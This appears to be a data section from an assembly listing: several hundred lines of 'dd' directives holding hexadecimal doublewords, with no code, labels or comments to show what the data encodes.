		dd 2B95AC63h, 92245B61h, 0B50E2C1Dh, 0F6536075h, 0DD599Eh
		dd 0A1126365h, 611611B3h, 29DBF400h, 0CE486B2Ch, 301F090Dh
		dd 0B8204381h, 9DC14B38h, 0E93753Fh, 29CEA26Ch,	9ABC001Bh
		dd 307BEA8Bh, 4DB8784Ch, 0A90503F3h, 921AC625h,	8052E040h
		dd 0A8188465h, 23ACD8h,	0E990478Dh, 0C2D7EC12h,	0DC2728C0h
		dd 357709h, 5CCFD0E0h, 126AF184h, 0A33A4000h, 92598733h
		dd 0E4BB00DFh, 84B61595h, 0E1126A05h, 40E32Ch, 669A734Dh
		dd 0EC951851h, 2587A802h, 91823509h, 68A50344h,	0F518000Dh
		dd 30522DA9h, 7B02B55Ah, 0DAFB4838h, 9D9E83A6h,	1FBCC984h
		dd 0E34058A0h, 677BD4h,	7D36A013h, 6899ADBh, 0C7298203h
		dd 0E87E46EDh, 0EAE43166h, 0EA750764h, 0E0FF4781h, 0D7D0A211h
		dd 51E2F609h, 0AC088020h, 15729D8h, 2BDB3C77h, 1BE64Dh
		dd 0F44719h, 0F2010CB2h, 71B74AC0h, 75868500h, 2F384535h
		dd 5E0F03DDh, 8429E22Ch, 6B61A5B8h, 0D47D210Fh,	14F6A0B0h
		dd 133028D7h, 42B13186h, 0CCAC2E98h, 62004CC4h,	0D5DCF2FDh
		dd 1662B6Fh, 0C94D20Bh,	0E0A7FFEEh, 60ADF36h, 9CE516D1h
		dd 6E228280h, 201F913h,	286865F3h, 94800FC8h, 0B34739F7h
		dd 0DAAB2A01h, 2F855F35h, 0CC5391DFh, 0BAF0ECh,	25B6C0F4h
		dd 999862F5h, 0BE024A70h, 0FF930722h, 0C080C32Fh, 0C41BBAh
		dd 0B25E7858h, 53B3C5CEh, 496DDB00h, 4A26941Ah,	3831007Bh
		dd 79E4AED5h, 34E9832Ah, 50007A58h, 0F771D1BDh,	6C5C7EDh
		dd 96BAFA19h, 2C00A82Bh, 33118B45h, 324C654h, 0A8E6BCEEh
		dd 20072A44h, 0B90DF21Eh, 70B850B0h, 20240BA0h,	0AF809A97h
		dd 0FE1FC501h, 1DE84150h, 8096E73Ah, 0A0463FDDh, 24A50Ah
		dd 387407BEh, 9233808Ah, 74900371h, 117AB390h, 26BB500h
		dd 215A2D8Dh, 46F497h, 0A691CAB8h, 7F45CC7Ch, 527EC200h
		dd 0DD1759A9h, 7AC50054h, 0B3FAADCDh, 0D8756EBDh, 0B7020B1Fh
		dd 3B00E0DEh, 0F68CAF23h, 246D7586h, 16FB4Eh, 0B68BDED3h
		dd 0D81D0BC0h, 234F18E6h, 212BA3h, 614D8904h, 81451E7Ah
		dd 7799C088h, 0B1ECFF85h, 5141D100h, 9F1178F4h,	5057006Ah
		dd 87DAAEA3h, 800F564h,	0CFC3E41h, 70C1B7F8h, 507171DEh
		dd 17CFA406h, 0FC35CB2h, 30E1A097h, 259B1049h, 2B48FC30h
		dd 8D395100h, 0AA3F400Fh, 4F83003Bh, 0F5EC34F1h, 7001A10h
		dd 0C1D9DA1Fh, 20B46Bh,	3DB8FFFEh, 0A91EFB83h, 0C0BD0600h
		dd 0A575B754h, 920C3017h, 0F18D7F29h, 2A079E73h, 0D62E7795h
		dd 78C98C2Eh, 79901E4h,	91B38A21h, 44438D3h, 1ED63BC3h
		dd 0EEBC01Dh, 880C6B23h, 0A1173C00h, 0AA52A622h, 8B4F0090h
		dd 4D033E19h, 81FC54FCh, 0BC00A490h, 0E10B955h,	3BEB6EEh
		dd 0DEE6269Eh, 1290CEB3h, 0D5016828h, 63E3BA1Ch, 47E4DAE5h
		dd 8EA4006Ah, 6232318Dh, 890F25B2h, 2C85E0h, 2F2351B4h
		dd 0FAAE0068h, 0B15370CAh, 0C73C4F97h, 389680A8h, 0BDBE0CD1h
		dd 4A7C30F0h, 589AED20h, 2E454900h, 601BAC06h, 0E0AB00A4h
		dd 615C96D4h, 14226229h, 30DB000Dh, 370C2782h, 0B1001347h
		dd 0A2089E79h, 50AB9663h, 0AD900Eh, 0EE6B681Dh,	5EB42646h
		dd 77E5FE00h, 7ABEB84Ah, 789085h, 0D6CF6244h, 0E906F876h
		dd 0D1002B7Bh, 1CC361A1h, 0E6AC9D65h, 0E6BB0975h, 2C800476h
		dd 590358F2h, 0DF407094h, 7B7C1336h, 62EB002Bh,	6ED00942h
		dd 0A9164DE0h, 0C809F133h, 3AF680AEh, 2149B4Ch,	0FB694FAh
		dd 0A440B149h, 0AFB0C9BAh, 8055B53Bh, 0CF31D444h, 0F13B09h
		dd 3A1A119Ch, 0D72579FBh, 6826AA00h, 0C70EE2CDh, 0FF1207A5h
		dd 0C0EDC16Dh, 493B8953h, 58E3EA30h, 38D2669Bh,	4DA834ABh
		dd 0C51E00EDh, 0FFFAE052h, 0B80018B7h, 8E172450h, 4B8ABB98h
		dd 400404CCh, 0AC14C0F1h, 571C91C7h, 79C06699h,	88FF5C38h
		dd 0BBD1005Ah, 0A2BFE9BDh, 0BCA010F0h, 3C00D0F1h, 0FA09632Fh
		dd 1CC0A178h, 8F9E7DB9h, 37E03D7Ch, 959607C5h, 0FD0AB1E2h
		dd 0B869ADD5h, 55689C80h, 2EFDC3Eh, 297E73A0h, 0BC809FB9h
		dd 5EC45426h, 2E143400h, 0C90622AFh, 63A000A4h,	0F71B7920h
		dd 67122844h, 0DC000AB2h, 0F5235DD7h, 0FCD64DBFh, 3E0C6C00h
		dd 4614F457h, 0E6EAF00h, 0C3710A8Fh, 6A241FD6h,	0AE23001Bh
		dd 7B793D8Ch, 32933000h, 0D5CAA050h, 0FB500EFh,	1D1342C9h
		dd 0BC05752Eh, 6F8A179Ch, 83718049h, 0D4E4B0E9h, 39423CD0h
		dd 0B21D72FBh, 75C30090h, 6A130789h, 51017B32h,	9944E822h
		dd 0D9D41BB4h, 7E5A01B9h, 0B0FDF820h, 0A680503Bh, 3C9143D4h
		dd 0A787E88Eh, 79B35CAFh, 4E7FE00Eh, 3F811D5Eh,	0E4044030h
		dd 408DE253h, 0EA03C49Ch, 16134883h, 0BAB70DA8h, 0CBC05B00h
		dd 396484h, 2679C5A5h
		dd 35F1D247h, 23544307h, 4D70BE76h, 0B05BD01Ch,	34A7017Ch
		dd 0D401E16Bh, 0CA76C85Fh, 0B79EE500h, 35403355h, 0D7770039h
		dd 4D9C2165h, 0A90026BFh, 15B93192h, 50D1D6DEh,	268C82Eh
		dd 7C633648h, 0A0C053B5h, 57F6999Ah, 97A32A00h,	3D04EF6h
		dd 0FA297989h, 12A1009Eh, 6050D4Bh, 0F50026EFh,	0C367BCCEh
		dd 844070h, 0C3117A1h, 8BE4AAB2h, 32B4F200h, 0AE695E2Bh
		dd 0DA7C0164h, 9CE32E94h, 9E8C4046h, 8A282368h,	0D0589169h
		dd 0EAF001Ah, 0B7F10DFAh, 0FD460737h, 0D24FB440h, 0F4E03E95h
		dd 0FC008834h, 7752B66Bh, 9C7631h, 0D5066F0Eh, 330E5CDh
		dd 0CECB0D0Ah, 5500B4B8h, 3F5D2E62h, 1C070034h,	9E13646Ah
		dd 0EF5073C6h, 4144FCD4h, 8485775Bh, 430B9300h,	0ADFA2C82h
		dd 83350004h, 0BB333687h, 3709B872h, 8AA4FB5Ch,	0C701C861h
		dd 0FE8BF85h, 0EF972900h, 539BE216h, 63888840h,	5C4315F4h
		dd 0FE00AC3Ah, 5DE0BFFDh, 8CE43B13h, 1B0642Dh, 8D40E4B8h
		dd 2E724F8h, 28F520D8h,	48409901h, 7C215CDEh, 328DC05Ah
		dd 0A0B2E630h, 0DB7A690Bh, 2B2C80C0h, 3D54598h,	0DAADE4B1h
		dd 36C80120h, 0AB2D4015h, 0D3640026h, 0A14396A6h, 0DE995B88h
		dd 3CE218CDh, 40B78954h, 0D8329Ch, 0A308537h, 2F6C5B88h
		dd 0FAA04D04h, 0FF870F55h, 98CA6A80h, 0AA4F65h,	238435C8h
		dd 86003D9Ch, 4F055B5Eh, 9C79926h, 8C5D6861h, 355C980h
		dd 3A4F5022h, 1D625800h, 566AE4h, 0ECA508E2h, 936610A9h
		dd 58026C78h, 9235CC7Dh, 7007163h, 0C062078Ah, 0A9C948D4h
		dd 0B52F6700h, 0F01A5173h, 34370745h, 1FB34BCEh, 382BB880h
		dd 0B41F4F9Dh, 3D0068BDh, 0E2BF1B03h, 0B8580102h, 67EA3DFh
		dd 67C880CFh, 30DE345Dh, 0C9FD020Dh, 3A6AC33Dh,	0AF0392C0h
		dd 0EA8E612h, 7570E897h, 966FE19h, 36241CB0h, 16916080h
		dd 0E40CF89h, 0DC3000D1h, 9AE9C20Ah, 1F0F01D8h,	60FD5CD9h
		dd 96291D92h, 67E701E4h, 5B518AF4h, 0A489FC74h,	0BC05BA00h
		dd 0FD59F9C9h, 984002DEh, 9E19105Eh, 0A4744601h, 0BBE091E6h
		dd 4C842610h, 93E2A800h, 78D13B59h, 5A36007Eh, 43D711DDh
		dd 80E9F2Ch, 0E07097ACh, 14F29B89h, 0DC30022h, 0EA80E53Fh
		dd 0E27AF75Eh, 1630830Bh, 0CAB080A0h, 0BFE1F7Ah, 0E8BA368Dh
		dd 11B72900h, 0C51243F6h, 5C30CE30h, 3DB9FC4Bh,	5E3BF1BCh
		dd 31D16D01h, 0D8980392h, 0E314A8CCh, 0BDF3D4h,	5EF0C136h
		dd 2FE5AB4h, 0C5CB9BA3h, 0E0482327h, 9FF8E125h,	3353B601h
		dd 718C446Ch, 3C90F16Fh, 24020018h, 841F4B35h, 0DD5E002Ch
		dd 0A2576265h, 6A770FAEh, 23D5D800h, 0EDB5DA2Eh, 983A4C83h
		dd 7A07B305h, 10A278h, 0A7ED0B89h, 265B9180h, 178D061h
		dd 418E239Fh, 0FF118066h, 0F77B2C45h, 348CC2A2h, 4BC19AD6h
		dd 335E3084h, 6B12C003h, 80BBA493h, 0E404C8C2h,	3A1E00A2h
		dd 508AACD1h, 2D0ECB68h, 0B202FA41h, 722BC830h,	1FF400BAh
		dd 98C5D516h, 3033FB1h,	0CDAA2F4Ch, 38A601F0h, 972A8869h
		dd 0A8E0D86Eh, 0E2008C90h, 986517EAh, 0F48A7B0Bh, 0A4425087h
		dd 0AA7E4CDFh, 0D881E800h, 0CA1C7010h, 7300D0F6h, 0B72CFD7Dh
		dd 0FE209Eh, 5DC9A16Bh,	2ADF068Eh, 3A5C955Ch, 196700BAh
		dd 0CE4B3CCDh, 2FC10B27h, 4C800B62h, 4759B1EAh,	3D57A003h
		dd 90A16E5Ah, 0CF021Fh,	0A8B00CE0h, 0C0DCD00Bh,	68A76430h
		dd 0B87BF9F8h, 1E174BAh, 5755F181h, 40146825h, 0AF9632D4h
		dd 0E1161700h, 74A1BF90h, 13C57387h, 0B207B8h, 9EA4DA06h
		dd 5038A049h, 0F61000F8h, 60FEC7B5h, 78510056h,	92EFF182h
		dd 31381588h, 1B2807Ah,	9E3E26Ch, 90B954F7h, 82F50ECAh
		dd 4D40947Eh, 15A6DBB3h, 0E917D81Ch, 23615CC0h,	0D1A460h
		dd 0EAF83D2Bh, 315E08DEh, 63D0D600h, 22939570h,	0D4A302B7h
		dd 8929011Bh, 0B8B91C60h, 71138B7Fh, 7CC0C2D0h,	3FEBEF22h
		dd 0A2001D94h, 871A38F1h, 17004FD8h, 0BD1B59E8h, 7E2D9A21h
		dd 0AA2748Ch, 79DFC10Fh, 401F1E94h, 0B666A71h, 0B0F4603Dh
		dd 0CE4D2C01h, 0E6B2934h, 312802C3h, 12AACDD3h,	777A064h
		dd 7D13C80h, 0DBFE5B99h, 920D749Dh, 0B7008470h,	37F148Dh
		dd 0E783673Bh, 60E95FE3h, 40FC617Ch, 4371372Ch,	0BE003C81h
		dd 0CF003621h, 9D62F4B3h, 73004CAh, 7693EE97h, 0A3D8202Eh
		dd 0CD00B42Ah, 0ED5C596Ah, 1507DCh, 7C8C4E9Ah, 0C9FB01DBh
		dd 0EB192605h, 9400CFADh, 8430799Eh, 0F6F0786h,	30F75663h
		dd 1C4C9BD9h, 6696C701h, 6D196E2Dh, 16A2C30h, 7450C3D8h
		dd 303FA17Ch, 0F4003BF8h, 7F72C137h, 0D926E7h, 89FE1C14h
		dd 1F1EBE02h, 8F371D00h, 7E4B6B8Ch, 76711DF1h, 2745007Fh
		dd 2916F898h, 9500697Eh, 0C51CA42Ah, 91B1E3h, 22895949h
		dd 58847E6Ah, 0E440F6EBh, 9805A52Dh, 0D83F760Fh, 1E3858C0h
		dd 903A2C81h, 32538090h, 454B7A2Dh, 0F30E4D12h,	344058A1h
		dd 0E29F5924h, 0C722006Fh, 0C9E3805Fh, 0CC007C45h, 9BEA888Dh
		dd 7E1724BEh, 0C4EA7Eh,	0AA306381h, 94B2E355h, 45CDA900h
		dd 4C12F6ADh, 776D03A5h, 5C3D46Ch, 38F325A0h, 440CD200h
		dd 7FF5A7F9h, 859E17BDh, 0B04020C1h, 1102A0DCh,	3FBCC90h
		dd 0AD5C4830h, 0C6D400A8h, 1E63A110h, 9207AEA0h, 0A7D36E71h
		dd 0A50AB180h, 0D5EC2D78h, 0B8061C00h, 545828CAh, 211C06E8h
		dd 3B0899E4h, 0C4169DE8h, 0D11C20E2h, 1400AA04h, 8AA7E733h
		dd 0F283A0h, 729B9842h,	8FD6C327h, 79481140h, 9711C708h
		dd 7C2A05Bh, 6800FB21h,	0A54BF996h, 39040BF5h, 4C00E066h
		dd 0E441951Bh, 3A60F798h, 33CE23E8h, 0B0420006h, 34D0F910h
		dd 95032159h, 0EB0D4877h, 1F05D7C1h, 5F1159C0h,	46FB1762h
		dd 7EAC452Fh, 4F6C38Ch,	0EF9040CDh, 823D6798h, 7F355200h
		dd 9A05C83h, 0DF3B5C50h, 0D1D92800h, 0F37962CFh, 16F7AA00h
		dd 0C2238E95h, 8D390088h, 0B31EBC61h, 34B05C0Ch, 0DD66A01Ch
		dd 83014A80h, 0E4A69A39h, 3489489h, 1D8F60CCh, 20029100h
		dd 2F05C1E7h, 0A1D105E5h, 38093F4h, 0D1B9A10h, 0F913907h
		dd 37A727FEh, 0AD9D7F4Fh, 2C9E94h, 531FA595h, 60767C1Eh
		dd 11C2084Dh, 201F51FDh, 990ABFB7h, 5E001890h, 92302DDAh
		dd 0C338A187h, 2080E961h, 0A77CBE4Dh, 0C560191Fh, 3CC06228h
		dd 5CCF2C4Ch, 6EC39DF4h, 531BBCC4h, 69027816h, 0C2744DECh
		dd 4510825Bh, 0C11C86D4h, 0BBE50050h, 488DB92Eh, 9B00D6C2h
		dd 0B88B0B2Ah, 4FE4B0h,	891C41DDh, 0FCCDA286h, 1F16A300h
		dd 5C0D5914h, 0B610017h, 2A42677Eh, 0A100C355h,	34DC7921h
		dd 9FF37h, 0E7EE5C95h, 0B48AD260h, 0E039E900h, 0B6D3B338h
		dd 0C730021h, 68D62B2Ch, 4170DB37h, 1D047158h, 0F5C0D102h
		dd 62E08A92h, 0DB540ECAh, 49806D97h, 0A3A92F7Ch, 0CE174A0Eh
		dd 0E35A4364h, 0FC2988C1h, 0CBE1002Eh, 0BED0E28h, 6B00E579h
		dd 8D4B1C46h, 64755Ah, 74B9F1FCh, 650B1BC8h, 110F6F72h
		dd 80D588F7h, 42DE2C2Ah, 0D79CA8D0h, 6C6D0753h,	0FA5E1808h
		dd 104394D4h, 5BDDCF00h, 0DB456739h, 0ACB91A0Bh, 0DAF48029h
		dd 60A756C3h, 457228FBh, 5F07160Eh, 464E977Fh, 8B277D70h
		dd 41C303DDh, 1D1EC059h, 0A1839288h, 6B2B802h, 48145127h
		dd 4A9D18h, 0EC4D1C9Ah,	509973CBh, 0C5D1A203h, 18809FD9h
		dd 311DF491h, 870097FFh, 0E568DB76h, 49528Ch, 2BE8C3C8h
		dd 0CA451A99h, 0F15C8800h
		dd 16939E26h, 6C660089h, 9691818Fh, 415A7844h, 21B6F84Eh
		dd 0EF6EE6BAh, 5469FE8h, 0CCAA8288h, 1898089h, 58094B85h
		dd 204D9CFAh, 9A53C534h, 32F007CFh, 22EFC764h, 960D95Bh
		dd 6B0F82D0h, 0C05119E6h, 0B092E1FEh, 0E7490004h, 370B1D32h
		dd 4B0A8311h, 0E7CB7BCAh, 0E280281Eh, 0D3B59EF5h, 0FE6F072Eh
		dd 406ED41Ch, 32FD52E5h, 20C02A30h, 18DFD680h, 38C74724h
		dd 0E780BD3Eh, 0D6644052h, 9998D400h, 0C4A730A8h, 524180CAh
		dd 0F1E39A18h, 0DC529h,	36E5424h, 1366FB43h, 21C908CCh
		dd 24050797h, 90EBAC45h, 0F53E3F4h, 0C73F7C18h,	4BB6E5A0h
		dd 75BBCF2h, 3666B838h,	69816C6h, 0BAE4F68Dh, 4400C164h
		dd 0E6FF184Fh, 33C7D1F1h, 0D30839EEh, 47A92100h, 0E7384418h
		dd 3E31F040h, 9F00E387h, 1C109AB5h, 0B2000EEAh,	0E5424D5Dh
		dd 7B1A0FC3h, 74AC00A0h, 93DBD8A8h, 0B900AE3Eh,	71BB92B6h
		dd 0C4138Bh, 7EFC08D7h,	0A06B307h, 99940F00h, 0EBB6ECF2h
		dd 0B85D0125h, 0F4407B3Ah, 0B1C5FC23h, 0D914AE90h, 9AE82Ah
		dd 0B9D3E65Fh, 7FA5A697h, 1E670025h, 0EC7A7DF1h, 8B00E1EDh
		dd 9249FB84h, 0E85E9B27h, 2C1C021Bh, 55D7DD3Bh,	0F55940D7h
		dd 70230048h, 15BAD688h, 2BEC6A3Eh, 0C4627F00h,	1E6B280Fh
		dd 0F7A80094h, 0DECA960Dh, 5017869h, 0A6DAFFB4h, 32EF876Bh
		dd 5B213108h, 1757F160h, 5839BE00h, 32B23F80h, 52FA01h
		dd 3B7B4C62h, 11C1966Bh, 0A94BE90Fh, 0B6CC003Ch, 5162DECBh
		dd 90E0CFFFh, 2C540EF9h, 6820464Dh, 9DF3843h, 0CF668C6h
		dd 0A97671h, 8B03C08Dh,	4A3211B2h, 72C8FD00h, 0D2781C5Dh
		dd 0D37138h, 0B4D82CAh,	5AC97507h, 887E9C31h, 0A1D70FFFh
		dd 0FAF090F7h, 0BA19C107h, 0CC78C30Bh, 8EE6795h, 0C95880C1h
		dd 0F2DC156Ch, 65CB005Eh, 0C8BCCED9h, 0E000076Ah, 0DAEBE71Ah
		dd 0EC75C1CAh, 0EEE4F2A3h, 0FFB8130Fh, 0A5AC0022h, 0C12CB28Ah
		dd 86031D00h, 78A2521Bh, 1A3E0F6h, 1C7CBDA7h, 604AD4E0h
		dd 2A00388Fh, 7EC5B4CFh, 0A2B71Ah, 6C2E24C7h, 0DD5DE461h
		dd 0FE093477h, 803A3052h, 0E9CD0554h, 0C987CA9h, 12A3BA9Bh
		dd 4678AB32h, 260E4E74h, 6056286Eh, 0E0BEDAECh,	7C098E8h
		dd 0FDCB8297h, 320320F8h, 750011F0h, 0AEBA09D9h, 0CCC4861h
		dd 882CD5C6h, 921FE520h, 9B015F56h, 8C60B453h, 73F91880h
		dd 0FF404742h, 2C204E64h, 0A212A3A8h, 0A010005Ch, 13DA6B79h
		dd 0BB414060h, 0BD0C9Fh, 0D03DCF43h, 0BCF4E688h, 80080EEh
		dd 0D282C3FEh, 0C00F2B06h, 51074E30h, 0D50EB8E3h, 3ED08511h
		dd 1F1D140h, 3E54C323h,	35875743h, 27ACC608h, 2B29419Eh
		dd 0DC418031h, 0B5289ABh, 0BAA703AFh, 555CC9A5h, 0E8EEFC81h
		dd 6B03E2DAh, 2B43D920h, 73F4C0C5h, 212901DFh, 25984F71h
		dd 442880E2h, 70E0D1CDh, 22B0B3h, 24D7D3Ch, 15F4EF9Fh
		dd 121836ECh, 8B193520h, 0E09000B0h, 458431BCh,	5800ABDFh
		dd 9425AEE3h, 6021C915h, 1ED4208Dh, 0DB1D209Ah,	3098478Eh
		dd 1D80F18h, 0F4CC9D0Bh, 9827B202h, 5400821h, 67D69h, 68EBBBFFh
		dd 0DE9DC39Bh, 0C754970Eh, 0F6E7A3B9h, 6390807Ah, 51573C98h
		dd 0D80410E8h, 0E0384FF7h, 98F00037h, 0A36B6876h, 18A807E9h
		dd 40BA1489h, 2E127CC2h, 5E30A601h, 0C4439B3Fh,	674DFCh
		dd 1DF3B308h, 0FF1E44E5h, 4C56FC0Fh, 0FEBB43FBh, 58B3807Ch
		dd 19B82602h, 0B5AB017Ch, 0C3E15717h, 3ABD80CDh, 0B72C0CDAh
		dd 3F0027B0h, 8D65804Dh, 0FC553863h, 0DE00E14Ch, 3C402234h
		dd 57038A2Eh, 52B60904h, 0A60BF0BAh, 49250088h,	22EFA42Dh
		dd 0CE004674h, 5153A70Ch, 3E79E64Ch, 7B002636h,	20EBAF6Eh
		dd 6A0558F4h, 0C5909D0Ah, 75058500h, 0AB066Dh, 4B60BA72h
		dd 9D5D03E0h, 7A04A600h, 53093A61h, 8A793F95h, 0C9B597h
		dd 85032575h, 0A71CE180h, 107722B9h, 0FD1C5050h, 0E9580005h
		dd 0F7CED6DBh, 0FC0F0A9Dh, 0C0CA72D5h, 1FBDE350h, 0CB7AB7h
		dd 49CFDE2Eh, 0ABEB81F8h, 2FD79900h, 683FC0C9h,	5E7F0ED8h
		dd 94036D71h, 0E80048F0h, 0B29B967Eh, 0C08BEC0Ah, 862FDE78h
		dd 771EE04Dh, 0EBCA7337h, 5625F8F5h, 0B08A009Fh, 95D301D1h
		dd 0B61F747Ch, 0D9400463h, 3E721376h, 42600283h, 7B86A356h
		dd 1FA81448h, 0E0DAD928h, 7F17C738h, 9D88C600h,	67FFF6CEh
		dd 6A9000BCh, 0CD100276h, 0A005765h, 0F63BEFE1h, 2ED480C3h
		dd 0DDAF70h, 0DE644A23h, 910031ABh, 0EA49C426h,	2ED4092Eh
		dd 0A07EF18h, 30A2F9h, 2B96F013h, 2800DFFAh, 850E798Bh
		dd 4C8AD8h, 70DC66Bh, 41DA9E78h, 0A8D39701h, 0B6AB7573h
		dd 9C67F080h, 0A07A3085h, 3C5EC500h, 0A5EE7D6Fh, 2CF0E83Bh
		dd 4D845Bh, 5A2BD470h, 99006EA7h, 60E2F9C5h, 3A8FC6C1h
		dd 92BEFB4Fh, 50FEF887h, 5B26D0E7h, 61001065h, 0C6E8CB4Dh
		dd 0E272DB41h, 4B990EB1h, 9D0094BBh, 10296682h,	502C4C03h
		dd 0E9E7059Ah, 0E9C84884h, 0EA560099h, 0B46171A2h, 590EC3E4h
		dd 20C8154Fh, 0E60D780Ah, 18D9008Ah, 5CC57566h,	2A0E5A42h
		dd 0C0F3EB84h, 0AB0C32BCh, 0E90B0021h, 0DA3037Ch, 91020A53h
		dd 0EC9859F3h, 1F04406Ch, 0B9088F8h, 9A07587Dh,	922E4D5Fh
		dd 77A2BC20h, 3EF80039h, 6720741Ch, 5E497A3Ah, 839D0014h
		dd 0FDAC8056h, 2F5907B4h, 0D004DFE2h, 0DA995D75h, 3DF45300h
		dd 3A892C82h, 38E5021Ch, 5535D995h, 0CDC0AE8Eh,	1D039DEEh
		dd 1F775B00h, 65D93487h, 4C1709EAh, 60A03DE7h, 63DA9551h
		dd 695BC30Eh, 9DEC007h,	79A794E4h, 29790011h, 0BB764DD8h
		dd 5200BD1Ah, 0C6EE074h, 1255B6Fh, 87B9231Ch, 0D5DD9992h
		dd 1EE820B8h, 0A7F27001h, 3CBDF4F0h, 0EFB1D4h, 738860DCh
		dd 0EE2BA14Ch, 2ED7A300h, 0DB213B52h, 6E101CD0h, 0DD8280D5h
		dd 122C744Eh, 0AB5C6907h, 0D9208CF0h, 1FF3BA6h,	76D4A3CAh
		dd 0FCF25D37h, 7B02878Eh, 4F131A09h, 0ED39E0C1h, 0EC76001Fh
		dd 43153663h, 7A00F7BAh, 0A9F0D052h, 608E8F05h,	2C3983Eh
		dd 0C2380CAEh, 90CF8084h, 56C63A47h, 26E8E035h,	0F8376DDh
		dd 9AA0339Fh, 0FBCF028h, 7375DF00h, 3DEB6794h, 0D4EEC6h
		dd 601F8E22h, 89624944h, 77FF5F1Ch, 0B152AD00h,	9D8D26h
		dd 0E0461B94h, 337A7111h, 5F9B6A07h, 472009ADh,	79050CC9h
		dd 80D0A8A0h, 43DF00C5h, 7F8EAC2Fh, 0BC74B9E2h,	0AE3FBD00h
		dd 2C50AA91h, 790800E3h, 0D9CF6498h, 123833EFh,	0C0168305h
		dd 21A2F10h, 0BB53B111h, 0A8401F8Bh, 0FC09FD97h, 816B6C9Fh
		dd 13AA44B8h, 8E312887h, 0D69261B4h, 579EE865h,	0C5B8C109h
		dd 9634202Ch, 0CBDF084h, 2F9A3375h, 9CFC8560h, 475160EDh
		dd 58E5B701h, 0FFB65D97h, 0F5E420h, 0D1ABD3Fh, 29AD312Fh
		dd 10C8B553h, 4701A1EAh, 9ABE658h, 17ACE00Ah, 53FD5604h
		dd 68C08ED4h, 0AA296Dh,	8FE4AFFh, 0E997F484h, 56EE417Dh
		dd 96EE5300h, 0E713A287h, 383100F9h, 7451A310h,	14B0C7EBh
		dd 33000579h, 3447AF5Ah, 1E156C4Ch, 0AC7EFDh, 27D89486h
		dd 0A70370C6h, 6D39619Ah, 9F8BC83Dh, 0B780F1Bh,	801D454Dh
		dd 25DDF384h, 0B5036215h, 9BC70440h, 289E8866h,	4FBA00CAh
		dd 35CDEF44h, 0E300839Fh, 6CF2DCD4h, 1CF4AA7Fh,	0C7D80636h
		dd 30B9BDF7h, 2D648D90h, 0AE150700h, 0BFF9679Ah, 18190710h
		dd 20AD691Bh, 201CDD2h,	24BC7C00h, 0C7C4B789h, 64A00062h
		dd 0ADD853BAh
		dd 8005F11h, 0B7168B40h, 133D6E1Bh, 80876722h, 0BF0401ADh
		dd 0C11E2C98h, 4600CFA7h, 0A37C4E95h, 8F3207C7h, 9162A2C2h
		dd 0EC3B9331h, 0CB1FBAD9h, 0ABC70DB3h, 0C9808528h, 98C5BCEh
		dd 0B895A186h, 3400B00Eh, 60063B47h, 0E2006F79h, 0B1B42719h
		dd 878009h, 59288390h, 0EE617BC4h, 0E6CC8600h, 70EFDC48h
		dd 337F1C56h, 2183BBD5h, 3AB70551h, 0C1D1D9C9h,	39E9C0B8h
		dd 9482A32Ch, 44A1B580h, 22ED6Eh, 2EE3052Dh, 482CAC6h
		dd 1B3AB8BAh, 0E5996042h, 75C26AE3h, 0AE760EBEh, 0C6077849h
		dd 4C83C2DEh, 24FAA1E0h, 987B9307h, 0BD01E5A7h,	52F109F2h
		dd 0A03D6BF0h, 30162F2Ch, 0EC8837E5h, 0A90097A7h, 0C5248562h
		dd 7D82AEh, 7ED4DA94h, 2F66AEDh, 0D7F39C1h, 6E0079C1h
		dd 1A0E22E5h, 0C2475ADh, 0FE66071h, 0EFA7A8E1h,	10DACC07h
		dd 87F0D5E3h, 1853E207h, 68F7CDBBh, 0C055F223h,	3DA050h
		dd 0CBAC8E0h, 0BFD1415Ah, 5EC9400h, 4E093C15h, 0B65E1E04h
		dd 420DC0E6h, 7AFFD189h, 0CCA59C00h, 2090EF2Fh,	8409061Ah
		dd 0D9E05963h, 2800FB71h, 0F9B6ACC6h, 794B0D4Dh, 21010075h
		dd 7D4AD986h, 0B1183A72h, 0F3E06E6Ah, 0B8D810FAh, 68160091h
		dd 8AE5EF7Ch, 10B9497Bh, 6D807D3Ah, 0CF9EB579h,	7E000386h
		dd 62D4D6ADh, 144B7FA1h, 0B80554B8h, 4125A01Ch,	3850CFE5h
		dd 499C50BAh, 0DD0001B1h, 2B69C5EAh, 0FF08A6h, 4E85C2CFh
		dd 634A411h, 2BD1C00h, 38ACEF52h, 8193E7F8h, 1404BF2Eh
		dd 54809737h, 0E835A9D1h, 0A36B006Fh, 3B44F81h,	181DF611h
		dd 0FD64990Eh, 19291707h, 5C55048Ah, 4D5CCC0Fh,	5D74C082h
		dd 7E20F0h, 71383D83h, 0CE908A56h, 949E0D01h, 228B43C5h
		dd 0A08CC3D3h, 838EC2h,	84426D0Ch, 785D8893h, 0B96B9600h
		dd 8579283Bh, 195C3982h, 0F017D3Ch, 73D0AA18h, 0AED56083h
		dd 29FE427Ch, 12AF4C00h, 77AA4913h, 8B3C1E02h, 11968A0Bh
		dd 0FE187E6Ch, 91106FB6h, 0BFAD00D9h, 8E98FD2Ah, 0D6000D0Fh
		dd 0EF248603h, 6FECCFAh, 885A2904h, 0E44229ACh,	0E808C621h
		dd 0AB7B88FFh, 228C22B8h, 0D450374Ch, 0B1450628h, 83F11FEh
		dd 3C14A0D0h, 0A8BE40A3h, 446B8D44h, 3207C33h, 0B8DB2205h
		dd 0E328B450h, 62983944h, 0B7542902h, 228F1022h, 842581F9h
		dd 9D082804h, 53425C48h, 20402488h, 81C11666h, 20380878h
		dd 2C50279Ah, 0D4202064h, 294460C0h, 0B91E06E6h, 1BD9BE03h
		dd 88015973h, 0FDA8E4h,	19C189E1h, 0F09CAD05h, 250127E4h
		dd 50BD8CE2h, 9680A571h, 0E46D943Ch, 0CC00C5AEh, 0C2D7AFBh
		dd 0F661825h, 95341BECh, 0B3D05200h, 0BB2E451Eh, 1A00D9D4h
		dd 0B672FDCCh, 7F6A001Bh, 8CB6891h, 1758D93h, 0F4A13700h
		dd 32E1DB2Ch, 0F7A83E28h, 30986900h, 0FADD679Ch, 0F14F3807h
		dd 20D0AF2Eh, 0C0565B4Bh, 0B80EE810h, 4838FB74h, 0C97F00F0h
		dd 0A9799FFEh, 48437338h, 4D074418h, 50EA44E5h,	0F4D4624Fh
		dd 7A87400h, 47FBFAFDh,	0C3869079h, 0BBCBC2A0h,	0F87485B0h
		dd 0AE2F9600h, 0EAB2C8DFh, 1E5F002Eh, 4FFF7AB1h, 60603FCAh
		dd 0EC29C919h, 0EDD13B99h, 3E14B00h, 812D89CBh,	0E8C1F018h
